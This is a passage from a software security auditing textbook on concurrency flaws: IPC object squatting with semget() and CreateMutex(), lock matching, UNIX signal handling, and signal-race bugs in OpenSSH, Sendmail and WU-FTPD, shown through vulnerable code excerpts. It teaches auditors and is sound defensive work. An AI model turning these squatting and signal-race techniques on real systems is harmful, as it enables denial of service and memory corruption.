tasks. You can also cause denial-of-service conditions in UNIX programs that bail out when an attempt to initialize a semaphore set fails or when the value of IPC_PRIVATE is not passed as the key parameter to semget(). For example, look at the following code: int initialize_ipc(void) { int semid; semid = semget(ftok("/home/user/file", 'A'), 10, IPC_EXCL|IPC_CREAT | 0644); if(semid < 0) return -1; return semid; } This code creates a semaphore set with ten semaphores. Because IPC_CREAT and IPC_EXCL are defined, semget() returns an error if a semaphore with the same key already exists. If you create a set beforehand, the initialize_ipc() function returns an error and the program never starts. Note Notice the use of the ftok() function. Ostensibly, it's used to generate keys for use with IPC, but this function doesn't guarantee key uniqueness. In fact, a brief examination of the source code in glibc shows that if you supply the same arguments, you generate the same key value, or you could determine the key value it generates easily. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 792 If the IPC_EXCL flag isn't supplied, you can still cause semget() to fail by initializing a semaphore set with restrictive permissions. You could also initialize a semaphore set with the same key but fewer semaphores in it, which also causes semget() to return an error. Other Squatting Issues So far, the squatting issues discussed usually result in a denial of service by not allowing a process access to an object. Squatting can also occur by taking advantage of a nuance of how the CreateEvent(), CreateMutex(), CreateSemaphore(), and CreateWaitableTimer() functions work. When called with a non-NULL name parameter, these functions check to see whether the specified name already exists. If it does, the existing object is returned to the caller instead of creating a new object. The only way to tell that an existing object is returned rather than a new one is for the developer to call GetLastError(), check whether the error is ERROR_ALREADY_EXISTS, and then handle that case specifically. Failure to do so can result in some interesting situations. If an existing object is returned, several parameters to the Create*() functions are ignored. For example, the CreateMutex() function takes three parameters: the security attributes structure describing access rights to the object, a Boolean value indicating whether the caller initially holds the lock, and the name of the object. If the named mutex already exists, the first two parameters are ignored! To quote from the MSDN's CreateMutex() function description: If lpName matches the name of an existing named mutex, this function requests the MUTEX_ALL_ACCESS access right. In this case, the bInitialOwner parameter is ignored because it has already been set by the creating process. If the lpMutexAttributes parameter is not NULL, it determines whether the handle can be inherited, but its security-descriptor member is ignored. Interesting. So if the ERROR_ALREADY_EXISTS value isn't checked for using GetLastError(), it's possible for an attacker to create a mutex with the same name before the real application does. This can undermine the security attributes that would otherwise be placed on the object because they are ignored when the application calls the CreateMutex() function. Furthermore, consider any code that calls CreateMutex() with the bInitialOwner parameter passed as TRUE. The caller might manipulate a shared object under the assumption that it holds the mutex lock, when in fact it doesn't, thus resulting in a race condition. Here is an example. int modifyObject(HANDLE hObject) { HANDLE hMutex; hMutex = CreateMutex(NULL, TRUE, "MyMutex"); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 793 if(hMutex == NULL) return -1; .. modify object pointed to by hObject .. ReleaseMutex(hMutex); } The bInitialOwner parameter passed to CreateMutex() is set to TRUE to indicate that this process should have initial ownership of the lock. However, there's no call to GetLastError() to check for ERROR_ALREADY_EXISTS; therefore, it's possible that the returned mutex is a preexisting object. In this case, the bInitialOwner value is ignored, so this process would not in fact hold the lock for hMutex, and any access of hObject is subject to race conditions. The other synchronization object creation functions have similar issues. The security attributes parameterand potentially other parametersare ignored if the named object already exists. For example, the lInitialCount and lMaximumCount parameters for CreateSemaphore() are ignored if an existing object is returned because those parameters are initialized by the original creator of the object. Ignoring these parameters might make it possible to create a semaphore with a different maximum count than the application expects, which might cause it to work incorrectly. In fact, if an arbitrarily large maximum count is set, the semaphore provides no mutual exclusion at all, again resulting in a race condition. Similarly, with an event object, the bManualReset and bInitialState parameters are ignored if a previously created object is returned. Therefore, a program initializing an event object as an auto-reset object could instead receive a manual-reset object, which stays signaled so that multiple processes receive the event instead of just one, when the process is expecting it to be delivered to only a single process or thread. Another thing to keep in mind with squatting issues is that if you create the object, you're free to change it whenever you like and in whatever way you choose. If you create an event or waitable timer object that's subsequently returned to a privileged application through the use of CreateEvent() or CreateWaitableTimer(), you can arbitrarily signal those objects whenever you like. For instance, the owner of an event can generate a signal by calling the SetEvent() function at any time. This call could be dangerous when a process is expecting that the receipt of an event signal is acknowledgement that some object transaction has taken place, when in fact it hasn't. Semaphore sets in UNIX (and other System V IPC objects) are vulnerable to similar squatting issues, but only to a limited extent because of the way the API works. A process creating a semaphore should use the IPC_CREAT and IPC_EXCL flags or the IPC_PRIVATE value for a key. Doing so guarantees that a new semaphore has been The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 794 created. If the process supplies a key value and neglects to use the IPC_EXCL flag, it might mistakenly get access to an existing semaphore set. Here's an example of a vulnerable call: int semid; semid = semget(ftok("/home/user/file", 'A'), 10, IPC_CREAT | 0644); This call to semget() takes an existing semaphore set if one exists with the same key and creates a new one only if one does not exist. If the semaphore set does already exist, it must have at least as many semaphore objects in the set as the second argument indicates. If it doesn't, an error is returned. There are still some interesting possibilities related to what you can do to the semaphore set at the same time another process is using it because you're the owner of the semaphore. Note If permissions are relaxed enough, such as everyone having full modify privileges to the semaphore created by a privileged process, the same attacks described in the following sections are also possible. Semaphore sets are not like file descriptors. When a semaphore set is open, it's not persistently linked to the application. Instead, a semaphore ID is returned to the caller, and every subsequent use of the semaphore set involves looking up that ID in the global namespace. Therefore, if you have sufficient access to the semaphore set (as you do if you're the creator), you can do anything you want to it between accesses by the privileged process using the malicious semaphore set. For example, it would be possible to delete the set or re-create it after semget() returns in the privileged process with a smaller number of semaphore objects. You could also manually reset all semaphore integers in the set to arbitrary values, thus causing race conditions in the privileged process. Therefore, when auditing applications that make use of semaphores, the flags used in semget() are quite important. Note In case you're wondering what happens when IPC_EXCL is set and IPC_CREAT isn't, this is invalid and doesn't cause a new semaphore set to be created. The semget() function just returns an error. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 795 Synchronization Object Scoreboards As you have seen, it is relatively easy to misuse synchronization APIs, and inadvertently render a program vulnerable to a denial-of-service or race condition. When you're auditing for these vulnerabilities, it's best to keep a record of likely problems resulting from improper use of these IPC synchronization mechanisms, so that you can refer back to it at later stages of the code audit. The audit logs described in previous chapters don't address many of the details associated with concurrency vulnerabilities. Instead, you can use synchronization object scoreboards, which are a small logs providing the security-relevant details of a synchronization object: where it was instantiated, how it was instantiated, where it's used, and where it's released. Table 13-1 shows an example of this scoreboard. Table 13-1. Synchronization Object Scoreboard Object name MyMutex Object type mutex Use Used for controlling access to the shared resource hObject (declared in main.c line 50). This object can have only one thread accessing it at a time (whether it's a reader or a writer). Instantiated open_mutex(), util.c, line 139 Instantiation parameters OpenMutex(NULL, TRUE, "MyMutex") Object permissions Default Used by writer_task(), writer.c, line 139 reader_task(), reader.c, line 158 Protects A linked list, queue, declared in main.c, line 76 Notes This mutex uses a static name, and the code doesn't check GetLastError() when OpenMutex() returns. A squatting attack is possible. Possible race condition in reader.c line 140, where one of the code paths fails to lock the mutex before operating on hObject. As you can see, this scoreboard technique provides a concise summary of the object's use and purpose. You can note any observations about the way the object is instantiated or used and possibly follow up later. Not only does this scoreboard aid you as a quick reference when encountering new code that deals with the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 796 synchronization object, but later changes to the codebase can be checked against your summary to ensure that the object is used correctly. Lock Matching Another effective tool for auditing synchronization objects is lock matching. Lock matching is simply the process of checking synchronization objects to ensure that for every lock on an object, there's no path where a corresponding unlock can't occur. Obviously, this technique is applicable only to a subset of objectsthose that require signaling after they have been waited on. So this technique would be applicable primarily to semaphores and mutexes. If a path is found where a wait doesn't have a complementary signal on the same object, deadlock could occur. Note If a thread exits in Windows while owning an object, the system normally allows another waiting thread to take ownership of the object. However, if the thread does not exit cleanlynormally a result of a TerminateThread() callthe objects are not properly released and deadlock can occur. A simple example helps demonstrate lock matching in action: struct element *queue; HANDLE hMutex; int fd; int networkThread(void) { struct element *elem; for(;;) { elem = read_request(fd); WaitForSingleObject(hMutex, INFINITY); add_to_queue(queue, elem); ReleaseMutex(hMutex); } return 0; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 797 int processThread(void) { struct element *elem; for(;;) { WaitForSingleObject(hMutex); elem = remove_from_queue(queue); if(elem == NULL) // nothing in queue continue; ReleaseMutex(hMutex); process_element(elem); } return 0; } The processThread() function contains a path where hMutex isn't signaled after it's waited on. If elem is NULL when processThread() runs, it jumps back to the top of the for loop, failing to call ReleaseMutex(). The next call to WaitForSingleObject() doesn't cause this process deadlock, however, because the calling thread owns the mutex. Instead, it prevents the number of release calls from ever being equal to the number of wait calls. This means no other process or thread can ever acquire this mutex because the calling thread never releases it. Be aware when performing lock matching checks to ensure that nonobvious paths don't exist where an object might never be released. For example, can a signal interrupt a thread that holds a lock and then reenter the program at some other point? 7.9.4 Signals UNIX programs often interact with their environment and other programs through the use of signals. Signals are software interrupts that the kernel raises in a process at the behest of other processes, or as a reaction to events that occur in the kernel. Note The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 798 The Windows POSIX subsystem is capable of dealing with signals as well, but they are primarily a UNIX feature. Each process defines how to handle its incoming signals by choosing to associate one of the following actions with a signal:  Ignoring the signal A process can ignore a signal by informing the kernel that it wants to ignore the signal. Two signals can't be ignored: SIGKILL and SIGSTOP. SIGKILL always kills a process, and SIGSTOP always stops a process.  Blocking the signal A process can postpone handling a signal by blocking it, in which case the signal is postponed until the process unblocks it. As with blocking, the SIGKILL and SIGSTOP signals can't be blocked.  Installing a signal handler A process can install a signal handler, which is a function called when a signal is delivered. This function is called completely asynchronously: When a signal is delivered, the execution context of a process is suspended, and a new one is created where execution starts in the designated signal handler function. When that handler returns, execution resumes where it left off. If a process doesn't indicate specifically how it deals with a particular signal, then a default action will be taken. Table 13-2 lists the signals provided by a typical POSIX-compliant implementation and the default actions associated with those signals. This table is taken from the Linux signal(7) man page. Table 13-2. Signals and Their Default Actions Signal Number Signal Name Meaning Default Action 1 SIGHUP Hang up from controlling terminal Terminate 2 SIGINT Interrupt Terminate 3 SIGQUIT Quit Core dump 4 SIGILL Illegal instruction Core dump 5 SIGTRAP Software trap Core dump 6 SIGABRT Abort Core dump 7 SIGEMT EMT instruction Terminate 8 SIGFPE Floating point exception Core dump 9 SIGKILL Kill Terminate 10 SIGBUS* Data bus error Core dump The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 799 Table 13-2. Signals and Their Default Actions Signal Number Signal Name Meaning Default Action 11 SIGSEGV Segmentation fault Core dump 12 SIGSYS* Invalid system call parameter Core dump 13 SIGPIPE Write to a pipe when there's no process to read from it Terminate 14 SIGALRM Alarm Terminate 15 SIGTERM Terminate Terminate 16 SIGURG Urgent data on I/O channel Ignore 17 SIGSTOP Stop process Stop 18 SIGTSTP Interactive stop Stop 19 SIGCONT Continue Continue a stopped process 20 SIGCHLD Child exited Ignored 21 SIGTTIN Background read attempt from terminal Stop 22 SIGTTOU Background write attempt from terminal Stop 23 SIGIO I/O available or completed Terminate 24 SIGXCPU CPU time limit exceeded Core dump 25 SIGXFSZ File size limit exceeded Core dump 26 SIGVTALRM Virtual time alarm Terminate 27 SIGPROF Profiling time alarm Terminate 28 SIGWINCH Window size change Ignored 29 SIGINFO Information request Terminate 30 SIGUSR1 User-defined signal Ignored 31 SIGUSR2 User-defined signal Ignored Note that the numbers assigned to signals might vary among operating systems and architectures, and not all signals are available on all architectures. For example, SIGBUS isn't defined for machines with an Intel architecture, but is defined for machines with a Sun SPARC architecture. If a signal isn't defined for a specific The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 800 architecture, it might be ignored instead of performing the default action listed in Table 13-2. Each process has a signal mask, which is a bitmask describing which signals should be blocked by a process and which signals should be delivered. A process can block a signal by altering this signal mask, as you see shortly in "Handling Signals." Signal handling is an important part of many UNIX applications. Although signals are a fairly simple mechanism, there are some subtleties to dealing with them correctly when implementing software. So before you move on to signal-related problems, the following sections briefly describe the signal API. Sending Signals The kill() system call is used to send a signal to a process. You can test whether processes are present by killing them with signal zero or by trying an invalid signal and looking for a permission denied message. To send a signal to a process in Linux and Solaris, the sender must be the superuser or have a real or effective user ID equal to the receiver's real or saved set user ID. However, a sender can always send SIGCONT to a process in its session. To send a signal to a process in the BSD OSs, the sender must be the superuser, or the real or effective user IDs must match the receiver's real or effective user IDs. Note that this means a daemon that temporarily assumes the role of an unprivileged user with seteuid() opens itself to signals being delivered from that user. Earlier versions of Linux had the same behavior as BSD. For example, if the Network File System (NFS) userland daemon temporarily set its effective user ID to that of a normal user, that normal user could send signals to the daemon and potentially kill it. This is what precipitated the introduction of file system user IDs (FSUIDs) in Linux. They are now largely redundant in Linux because temporarily assuming an effective user ID no longer exposes a daemon to signals. FTP daemons are another good example of a situation in which a daemon running as root assumes the effective user permissions of a nonprivileged user. If a normal user logs in to an FTP daemon, the daemon uses that user's effective user ID so that it can perform file system interaction safely. On a BSD system, therefore, if that same user is logged in to a shell, he or she can send signals to the daemon and kill it. In previous versions, this had more significant consequences, as a core dump often contained password information from the system authentication database. OpenBSD has a unique restriction: A nonroot user can send only the following signals to a setuid or setgid process: SIGKILL, SIGINT, SIGTERM, SIGSTOP, SIGTTIN, SIGTTOU, SIGTSTP, SIGHUP, SIGUSR1, SIGUSR2, and SIGCONT. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 801 Handling Signals There are a number of ways to instruct a process how to respond to a signal. First, the signal() function is used to set a routine for installing a handler to deal with the specified signal. The semantics from the man page are shown in the following prototype: #include <signal.h> typedef void (*sighandler_t)(int); sighandler_t signal(int signum, sighandler_t handler); The signum parameter indicates what signal to handle, and the handler argument indicates the routine that should be called for this signal. The signal() function returns the old handler for the specified signal. Instead of specifying a new signal-handling routine, the developer can elect to specify one of two constants for the handler parameter: SIG_IGN if the signal should be ignored and SIG_DFL if the default action should be taken when a signal is received. Note The default action varies depending on what signal is received. For example, the default action for SIGSEGV is to create a core image and terminate the process. The default action for SIGSTOP is to place the current process in the background. The default actions for each signal were presented earlier in Table 13-2. Developers can also set handlers via the sigaction() interface, which has the following prototype: #include <signal.h> int sigaction(int sig, const struct sigaction *act, struct sigaction *oact); This interface enables you to set and retrieve slightly more detailed attributes for each signal an application handles. These attributes are supplied in the form of the sigaction structure, which is roughly defined like this: struct sigaction { void (*sa_handler)(int); void (*sa_sigaction)(int, siginfo_t *, void *); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 802 sigset_t sa_mask; int sa_flags; } The exact structure definition varies slightly between implementations. Basically, there are two function pointers: one to a signal handler (sa_handler) and one to a signal catcher (sa_sigaction). Developers set one or the other to be called upon receipt of the specified signal. Note Which handler is called from the sigaction structurethe handler (sa_handler) or the catcher (sa_sigaction)? It depends on the sa_flags member in the structure. If the SA_SIGINFO flag is set, sa_sigaction is called. Otherwise, sa_handler is called. In reality, because you are supposed to specify only one and can't define both, often these two structure members are coded as a union, so defining one overrides a previous definition of the other. The sa_mask field describes a set of signals that should be blocked while the signal handler is running, and the sa_flags member describes some additional behavioral characteristics for how to handle the signal, which are mentioned in "Signal Vulnerabilities" later in this chapter. The following function is used to change the process signal mask so that previously blocked signals can be delivered or to block the delivery of certain signals: int sigprocmask(int how, const sigset_t *set, sigset_t *oset) The how argument specifies how the set parameter should be interpreted and can take one of three values:  SIG_BLOCK Indicates that the set parameter contains a set of signals to be added to the process signal mask  SIG_UNBLOCK Indicates that the set parameter contains a set of signals to be unblocked from the current signal mask  SIG_SETMASK Indicates that the set parameter should replace the current signal mask The oset parameter is filled in with the previous signal mask of the process. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 803 In addition to these functions, you can make a multitude of other signal-related library calls. Only the ones to declare signal handlers and set actions are described in the following sections. Jump Locations On UNIX systems, you can return to a point in a program from any other point in a program contingent on a certain condition. To do this, you use setjmp(), longjmp(), sigsetjmp(), and siglongjmp(). Although these functions aren't part of the signal API, they are quite relevant, as they are often used in signal-handling routines to return to a certain location in the program in order to continue processing after a signal has been caught. The setjmp() function is used to designate a point in the program to which execution control is returned when the longjmp() function is called: int setjmp(jmp_buf env) void longjmp(jmp_buf env, int val) The context the program is in when setjmp() is called is restored when returned to via longjmp()that is, the register contents are reset to the state they were in when setjmp() was originally called, including the program counter and stack pointer, so that execution can continue at that point. A return value of 0 indicates a direct call of setjmp(), and a value of nonzero indicates that execution has returned to this point from a longjmp(). The val parameter supplied to longjmp() indicates what setjmp() returns when longjmp() is called. Because longjmp() hands execution off to a different part of the program, it doesn't return. Here's an example of these two functions in action: jmp_buf env; int process_message(int sock) { struct pkt_header header; for(;;) { if(setjmp(env) != 0) log("Invalid request received, ignoring message"); if(read_packet_header(sock, &header)) < 0) return -1; switch(header.type) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 804 { case USER: parse_username_request(sock); break; case PASS: parse_password_request(sock); break; case OPEN: parse_openfile_request(sock); break; case QUIT parse_quit_request(sock); break; default: log("invalid message"); break; } } } Say you had a function such as the one in this example, and then several functions deep from the parse_openfile_request(), you had the following function for opening a file on the system: int open_file_internal(unsigned char *filename) { if(strstr(filename, "../")) longjmp(env, 1); ... open file ... } In this case, the longjmp() call causes the program to restart execution at the location of the corresponding setjmp() function, in process_message(). The setjmp() function will return a nonzero valuein this case, 1 because 1 was specified as the second parameter to longjmp(). There are also two other very similar functions sigsetjmp() and siglongjmp() that are used to achieve a similar effect except that they take process signal masks into The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 805 consideration as well. This is achieved through the savesigs parameter passed to sigsetjmp(): int sigsetjmp(sigjmp_buf env, int savesigs) int siglongjmp(sigjmp_buf env, int val) If the savesigs value is nonzero, the signal mask of the process at the time sigsetjmp() is called is also saved so that when siglongjmp() is called, it can be restored. In the next section, you see why mixing these functions with signal handlers is a dangerous practice. Signal Vulnerabilities A signal-handling routine can be called at any point during program execution, from the moment the handler's installed until the point it's removed. Therefore, any actions that take place between those two points in time can be interrupted. Depending on what the signal handler does, this interruption could turn out to be a security vulnerability. To understand the text in this section, you must be familiar with the term asynchronous-safe (sometimes referred to as async-safe, or signal-safe). An asynchronous-safe function is a function that can safely and correctly run even if it is interrupted by an asynchronous event, such as a signal handler or interrupting thread. An asynchronous-safe function is by definition reentrant, but has the additional property of correctly dealing with signal interruptions. Generally speaking, all signal handlers need to be asynchronous-safe; the reasons why will become clear throughout this section. Basic Interruption The first problem with handling signals occurs when the handler relies on some sort of global program state, such as the assumption that global variables are initialized when in fact they aren't. Listing 13-1 presents a short example. Listing 13-1. char *user; int cleanup(int sig) { printf("caught signal! Cleaning up..\n"); free(user); exit(1); } int main(int argc, char **argv) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 806 { signal(SIGTERM, cleanup); signal(SIGINT, cleanup); ... do stuff ... process_file(fd); free(user); close(fd); printf("bye!\n"); return 0; } int process_file(int fd) { char buffer[1024]; ... read from file into buffer ... user = malloc(strlen(buffer)+1); strcpy(user, buffer); ... do stuff ... return 0; } The problem with this code is that cleanup() can be called at any time after it's installed to handle the SIGTERM and SIGINT signals. If either signal is sent to the process before process_file() is called, the user variable isn't initialized. This isn't much of a problem because the initial value is NULL. However, what if a signal is delivered after free(user) and before the program exits? The user variable is deallocated with the free() function twice! That's definitely not good. You would be in even more trouble if the signal handler didn't exit the program because a signal could be sent during the strcpy() operation to free the buffer being copied into. The function would continue to copy data into a free heap chunk, which can lead to memory corruption and possibly arbitrary code execution. In order to see how a bug of this nature might look in production code, take a look at a real-world example: OpenSSH. The following signal-handling routine is installed in OpenSSH in the main() function. It is called when OpenSSH receives an alarm signal (SIGALRM), the intention being to limit the amount of time a connecting client has to complete a successful login: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 807 grace_alarm_handler(int sig) { /* XXX no idea how fix this signal handler */ if (use_privsep && pmonitor != NULL && pmonitor->m_pid > 0) kill(pmonitor->m_pid, SIGALRM); /* Log error and exit. */ fatal("Timeout before authentication for %s", get_remote_ipaddr()); } Most of this code is not that interesting, except for the call to fatal(). If you examine the implementation of fatal() in the OpenSSH source code, you can see it calls the cleanup_exit() function, which in turn calls do_cleanup() to deallocate global structures and exit the process. The do_cleanup() implementation is shown. void do_cleanup(Authctxt *authctxt) { static int called = 0; debug("do_cleanup"); /* no cleanup if you're in the child for login shell */ if (is_child) return; /* avoid double cleanup */ if (called) return; called = 1; if (authctxt == NULL) return; #ifdef KRB5 if (options.kerberos_ticket_cleanup && authctxt->krb5_ctx) krb5_cleanup_proc(authctxt); #endif ... more stuff ... /* * Cleanup ptys/utmp only if privsep is disabled * or if running in monitor. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 808 */ if (!use_privsep || mm_is_monitor()) session_destroy_all(session_pty_cleanup2); } As you can see, the do_cleanup() function is somewhat reentrant, because it checks whether it has already been called, and if it has, it just returns immediately. This prevents fatal() from calling itself, or being interrupting by a signal that results in a call to fatal(), such as the grace_alarm_handler() function. However, any functions called in do_cleanup() are also required to be reentrant if they're called elsewhere in the program. If any called function is not reentrant, then it would be possible for the vulnerable function to be interrupted by the SIGALRM signal, which will eventually lead to the same non-reentrant function being invoked again. Now take a look at the krb5_cleanup_proc() function: void krb5_cleanup_proc(Authctxt *authctxt) { debug("krb5_cleanup_proc called"); if (authctxt->krb5_fwd_ccache) { krb5_cc_destroy(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache); authctxt->krb5_fwd_ccache = NULL; } if (authctxt->krb5_user) { krb5_free_principal(authctxt->krb5_ctx, authctxt->krb5_user); authctxt->krb5_user = NULL; } if (authctxt->krb5_ctx) { krb5_free_context(authctxt->krb5_ctx); authctxt->krb5_ctx = NULL; } } This function simply frees a series of elements and sets them to NULL, thus preventing potential double-free scenarios. However, the krb5_user element is a structure composed of a number of pointers to strings designated by the client and limited by how much input OpenSSH accepts, which is quite a lot. The Kerberos library essentially frees these pointers one by one in a loop. After the krb5_user element is cleaned up, the authctxt->krb5_user element is set to NULL. Although this makes the function less susceptible to reentrancy problems, it is still not entirely safe. If this function were to be interrupted while deallocating the individual strings The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 809 contained within krb5_user, then it is possible that krb5_user could be accessed when it is in an inconsistent state. The krb5_user variable is filled out by krb5_parse_name(), which is called by auth_krb5_password() when authenticating clients using Kerberos authentication. The auth_krb5_password() implementation is shown: int auth_krb5_password(Authctxt *authctxt, const char *password) { krb5_error_code problem; krb5_ccache ccache = NULL; int len; temporarily_use_uid(authctxt->pw); problem = krb5_init(authctxt); if (problem) goto out; problem = krb5_parse_name(authctxt->krb5_ctx, authctxt->pw->pw_name, &authctxt->krb5_user); if (problem) goto out; #ifdef HEIMDAL problem = krb5_cc_gen_new(authctxt->krb5_ctx, &krb5_mcc_ops, &ccache); if (problem) goto out; problem = krb5_cc_initialize(authctxt->krb5_ctx, ccache, authctxt->krb5_user); if (problem) goto out; restore_uid(); problem = krb5_verify_user(authctxt->krb5_ctx, authctxt->krb5_user, ccache, password, 1, NULL); ... more stuff ... out: restore_uid(); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 810 if (problem) { if (ccache) krb5_cc_destroy(authctxt->krb5_ctx, ccache); ... more stuff ... krb5_cleanup_proc(authctxt); if (options.kerberos_or_local_passwd) return (-1); else return (0); } return (authctxt->valid ? 1 : 0); } When an error occurs at any point during the auth_krb5_password() function, krb5_cleanup_proc() is called. This error normally occurs when krb5_verify_user() is called for a user lacking valid credentials. So, what would happen if krb5_cleanup_proc() is in the process of freeing thousands of strings when the signal timeout occurs? The signal handler is called, which in turn calls krb5_cleanup_proc() again. This second call to krb5_cleanup_proc() receives the krb5_user element, which is not NULL because it's already in the middle of processing; so krb5_cleanup_proc() once again starts deallocating all of the already deallocated string elements in this structure, which could lead to exploitable memory corruption. Non-Returning Signal Handlers Non-returning signal handlers are those that never return execution control back to the interrupted function. There are two ways this can happenthe signal handler can explicitly terminate the process by calling exit(), or the signal handler can return to another part of the application using longjmp(). It's generally safe for a longjmp() to simply terminate the program. However, a signal handler that uses longjmp() to return to another part of the application is very unlikely to be completely asynchronous-safe, because any of the code reachable via the signal handler must be asynchronous-safe as well. This section will focus on the various problems that can arise from attempting to restart execution using the longjmp() function. To see this in action, consider the Sendmail SMTP server signal race vulnerability. It occurs when reading e-mail messages from a client. The collect() function responsible for reading e-mail messages is shown in part: void collect(fp, smtpmode, hdrp, e, rsetsize) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 811 SM_FILE_T *fp; bool smtpmode; HDR **hdrp; register ENVELOPE *e; bool rsetsize; { ... other declarations ... volatile time_t dbto; ... dbto = smtpmode ? TimeOuts.to_datablock : 0; /* ** Read the message. ** ** This is done using two interleaved state machines. ** The input state machine is looking for things like ** hidden dots; the message state machine is handling ** the larger picture (e.g., header versus body). */ if (dbto != 0) { /* handle possible input timeout */ if (setjmp(CtxCollectTimeout) != 0) { if (LogLevel > 2) sm_syslog(LOG_NOTICE, e->e_id, "timeout waiting for input from %s during message collect", CURHOSTNAME); errno = 0; if (smtpmode) { /* ** Override e_message in usrerr() as this ** is the reason for failure that should ** be logged for undelivered recipients. */ e->e_message = NULL; } usrerr("451 4.4.1 timeout waiting for input during message collect"); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 812 goto readerr; } CollectTimeout = sm_setevent(dbto, collecttimeout, dbto); } This block of code essentially sets up a handler for the SIGALRM signal, which is called when dbto seconds has elapsed. Sendmail uses an event abstraction instead of just using signals, but the call to sm_setevent() instructs Sendmail to call the collecttimeout() function when the time dbto indicates has expired. Notice the setjmp() call, indicating that you return to this function later. When the corresponding longjmp() occurs, you can see that you log some kind of message and then jump to readerr, which logs some sender information and then returns to the main Sendmail SMTP processing code. Now look at how collecttimeout() works: static void collecttimeout(timeout) time_t timeout; { int save_errno = errno; /* ** NOTE: THIS CAN BE CALLED FROM A SIGNAL HANDLER. DO NOT ADD ** ANYTHING TO THIS ROUTINE UNLESS YOU KNOW WHAT YOU ARE ** DOING. */ if (CollectProgress) { /* reset the timeout */ CollectTimeout = sm_sigsafe_setevent(timeout, collecttimeout, timeout); CollectProgress = false; } else { /* event is done */ CollectTimeout = NULL; } /* if no progress was made or problem resetting event, die now */ if (CollectTimeout == NULL) { errno = ETIMEDOUT; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 813 longjmp(CtxCollectTimeout, 1); } errno = save_errno; } In certain cases, the collecttimeout() function can issue a call to longjmp(), which will return back into collect(). This alone should be setting off alarm bells in your head; the presence of this longjmp() call virtually guarantees that this function isn't asynchronous-safe because you already know that the target of the jump winds up back in the main SMTP processing code. So if this signal-handling routine is called when any non-asynchronous-safe operation is being conducted, and you can reach that code again from the SMTP processing code, you have a bug. As it turns out, there are a few non-asynchronous-safe operations; the most dangerous is the logging function sm_syslog(): sm_syslog(level, id, fmt, va_alist) int level; const char *id; const char *fmt; va_dcl #endif /* __STDC__ */ { static char *buf = NULL; static size_t bufsize; char *begin, *end; int save_errno; int seq = 1; int idlen; char buf0[MAXLINE]; char *newstring; extern int SyslogPrefixLen; SM_VA_LOCAL_DECL ... initialization ... if (buf == NULL) { buf = buf0; bufsize = sizeof buf0; } ... try to fit log message in buf, else reallocate it on the heap The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 814 if (buf == buf0) buf = NULL; errno = save_errno; } This code might need a little explanation because it has been edited to fit the page. The sm_syslog() function has a static character pointer buf, which is initialized to NULL. On function entry, it is immediately set to point to a stack buffer. If the message being logged is too large, a bigger buffer on the heap is allocated to hold the log message. In this case, the heap buffer is retained for successive calls to sm_syslog(), since buf is static. Otherwise, buf is just set back to NULL and uses a stack buffer again next time. So, what would happen if you interrupt this function with collecttimeout()? The call to longjmp() in collecttimeout() would invalidate part of the stack (remember, longjmp() resets program stack and frame pointers to what they were when setjmp() was called), but the static buf variable isn't reset to NULLit points to an invalidated region of the stack. Therefore, the next time sm_syslog() is called, buf is not NULL (indicating that a heap buffer has been allocated, although in this case buf is really pointing to a stack location), so the log message is written to the wrong part of the stack! When you are attempting to evaluate whether code is asynchronous-safe, you must account for the entire state of the programnot just global variables. The state of the program can also include static variables, privilege levels, open and closed file descriptors, the process signal mask, and even local stack variables. This last item might seem counter-intuitive since stack variables only have a local scope inside the function that declares them. However, consider the fact that a function might be interrupted at any point during execution by a signal, and then a different part of the function is returned to through the use of longjmp(). In this scenario, it is possible that stack variables used by that function are not in an expected state. A security researcher from the FreeBSD project named David Greenman pointed out a perfect example of exploiting a state change bug in WU-FTPD v2.4, which is detailed in a mail he sent to the bugtraq security mailing list (archived at http://seclists.org/bugtraq/1997/Jan/0011.html). Essentially, the program installed two signal handlers, one to handle SIGPIPE and one to handle SIGURG. The SIGPIPE handler is shown in Listing 13-2. Listing 13-2. Signal Race Vulnerability in WU-FTPD static void lostconn(signo) int signo; { The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 815 if (debug) syslog(LOG_DEBUG, "lost connection"); dologout(-1); } /* * Record logout in wtmp file * and exit with supplied status. */ void dologout(status) int status; { if (logged_in) { (void) seteuid((uid_t)0); logwtmp(ttyline, "", ""); #if defined(KERBEROS) if (!notickets && krbtkfile_env) unlink(krbtkfile_env); #endif } /* beware of flushing buffers after a SIGPIPE */ _exit(status); } Upon receipt of a SIGPIPE signal, the process sets its effective user ID to 0, logs some information, and then exits. Here's the SIGURG handler: static void myoob(signo) int signo; { char *cp; /* only process if transfer occurring */ if (!transflag) return; cp = tmpline; if (getline(cp, 7, stdin) == NULL) { reply(221, "You could at least say goodbye."); dologout(0); } upper(cp); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 816 if (strcmp(cp, "ABOR\r\n") == 0) { tmpline[0] = '\0'; reply(426, "Transfer aborted. Data connection closed."); reply(226, "Abort successful"); longjmp(urgcatch, 1); } if (strcmp(cp, "STAT\r\n") == 0) { if (file_size != (off_t) -1) reply(213, "Status: %qd of %qd bytes transferred", byte_count, file_size); else reply(213, "Status: %qd bytes transferred", byte_count); } } ... void send_file_list(whichf) char *whichf; { ... if (setjmp(urgcatch)) { transflag 